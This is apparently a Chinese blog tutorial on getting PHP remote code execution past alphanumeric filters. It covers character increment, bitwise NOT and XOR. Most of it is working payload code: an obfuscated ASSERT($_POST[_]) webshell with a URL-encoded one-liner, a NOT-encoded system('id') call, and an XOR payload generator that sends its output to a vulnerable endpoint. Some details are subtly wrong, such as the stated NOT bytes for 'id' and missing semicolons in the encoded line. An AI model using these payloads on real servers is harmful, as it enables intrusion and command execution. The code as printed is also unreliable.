RCE(自增、取反、异或)

发布于:2025-03-29 ⋅ 阅读:(24) ⋅ 点赞:(0)

自增:

也就是说,`'a'++ => 'b'`,`'b'++ => 'c'`... 所以,我们只要能拿到一个变量,其值为`a`,通过自增操作即可获得a-z中所有字符。

无字母数字构造:
所有敏感字符串(ASSERT、_POST)通过自增动态生成,避免直接出现字母。
超全局变量利用:
通过 $_POST 动态接收攻击载荷。
动态函数调用:
利用 $___(值为 ASSERT)作为函数名调用。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为`Array`:

源码:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // ASS
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__; 
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__; 

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;  // $_POST

$_=$$____;
$___($_POST[_]); // ASSERT($_POST[_]);

放到一排再url编码之后是:

%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b+%2f%2f+%24_%3d%27Array%27%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b+%24___%3d%24_%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b+%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b+%24_%3d%24%24____%3b%24___(%24_POST%5b_%5d)%3b+

取反:

在 PHP 中,取反(~) 是绕过字符过滤(如禁止字母、数字)实现 RCE(远程代码执行)的核心技术之一。其核心思想是通过 位运算 动态构造敏感字符(如 system、eval),从而绕过正则过滤。

源码:<?php

// 生成取反后的字符串

$func = ~'system'; // "\x8C\x86\x8C\x8B\x9A\x92"

$arg = ~'id';      // "\xA0\x8F"

// 构造 Payload

$payload = "(~\"\x8C\x86\x8C\x8B\x9A\x92\")(~\"\xA0\x8F\");";

echo urlencode($payload);

PHP 中的取反运算符 ~ 会对字符的二进制位进行翻转(0 变 1,1 变 0)。例如:
~'A' → 结果为 "\xBE"。
若将取反后的字符再次取反,即可还原原始字符:~~'A' → 'A'

1. 目标字符串拆分
执行 system('id'):
system → 拆分为字符 s、y、s、t、e、m。
id → 拆分为字符 i、d。
2. 生成取反后的字符串
通过 PHP 生成取反后的二进制形式:

$func = 'system';
$arg = 'id';
// 取反后的字符串(注意转义)
$func_neg = ~$func; // "\x8C\x86\x8C\x8B\x9A\x92"
$arg_neg = ~$arg;   // "\xA0\x8F"

3构造无字母数字的 Payload
<?php
(~"\x8C\x86\x8C\x8B\x9A\x92")(~"\xA0\x8F"); // 等价于 system('id');

异或:

若 A ^ KEY = B,则 B ^ KEY = A。
通过将敏感字符串(如 phpinfo)与固定密钥(如 0xFF)异或,生成非字母数字字符的 Payload。当服务端对 Payload 再次异或相同密钥时,即可还原原始字符串并执行代码。此方法常用于绕过 a-zA-Z0-9 字符过滤规则。

生成异或字符串
需要执行 phpinfo(),按以下步骤生成 Payload:
<?php
$a = 'phpinfo';
for ($i = 0; $i < strlen($a); $i++) {
    echo '%' . dechex(ord($a[$i]) ^ 0xFF); // 异或每个字符
}
echo "^";
for ($j = 0; $j < strlen($a); $j++) {
    echo '%FF'; // 密钥部分(全 FF)
}
?>
输出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF

假设服务端存在如下漏洞代码:
<?php
$input = $_GET['payload'];
list($part1, $part2) = explode('^', $input);
$code = urldecode($part1) ^ urldecode($part2);
eval($code);
?>
URL 解码:
%8F%97%8F%96%91%99%90 → 二进制值 \x8F\x97\x8F\x96\x91\x99\x90
%FF%FF%FF%FF%FF%FF%FF → 二进制值 \xFF\xFF\xFF\xFF\xFF\xFF\xFF

异或还原:
\x8F ^ \xFF = p  
\x97 ^ \xFF = h  
\x8F ^ \xFF = p  
\x96 ^ \xFF = i  
\x91 ^ \xFF = n  
\x99 ^ \xFF = f  
\x90 ^ \xFF = o  

最终还原字符串 phpinfo,执行 eval('phpinfo')。

源码:<?php
function generate_xor_payload($command, $key = 0xFF) {
    $encoded = '';
    $key_part = '';
    for ($i = 0; $i < strlen($command); $i++) {
        $encoded .= '%' . dechex(ord($command[$i]) ^ $key);
        $key_part .= '%' . dechex($key);
    }
    return $encoded . '^' . $key_part;
}
$payload = generate_xor_payload('phpinfo');
echo "Payload: " . $payload . "\n";
// 输出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF
// 发送请求(漏洞 URL 为 http://localhost:3000/flag.php)
$url = 'http://localhost:3000/flag.php?payload=' . urlencode($payload);
file_get_contents($url);
?>

异或绕过技术的核心要点
1. 可逆性
异或运算是 对称加密 的基础,两次异或同一密钥可还原原始数据:
$original = 'phpinfo';
$key = "\xFF";
$encoded = $original ^ $key;
$decoded = $encoded ^ $key; // 还原为 'phpinfo'
2. 绕过字符过滤
异或后的字符通常是 非字母数字(如 \x8F、\x97),可绕过正则过滤规则:
preg_match('/[a-zA-Z0-9]/', $payload); // 返回 false
3. 动态执行
通过 eval 或 assert 动态执行还原后的代码:
eval($decoded . '();'); // 执行 phpinfo();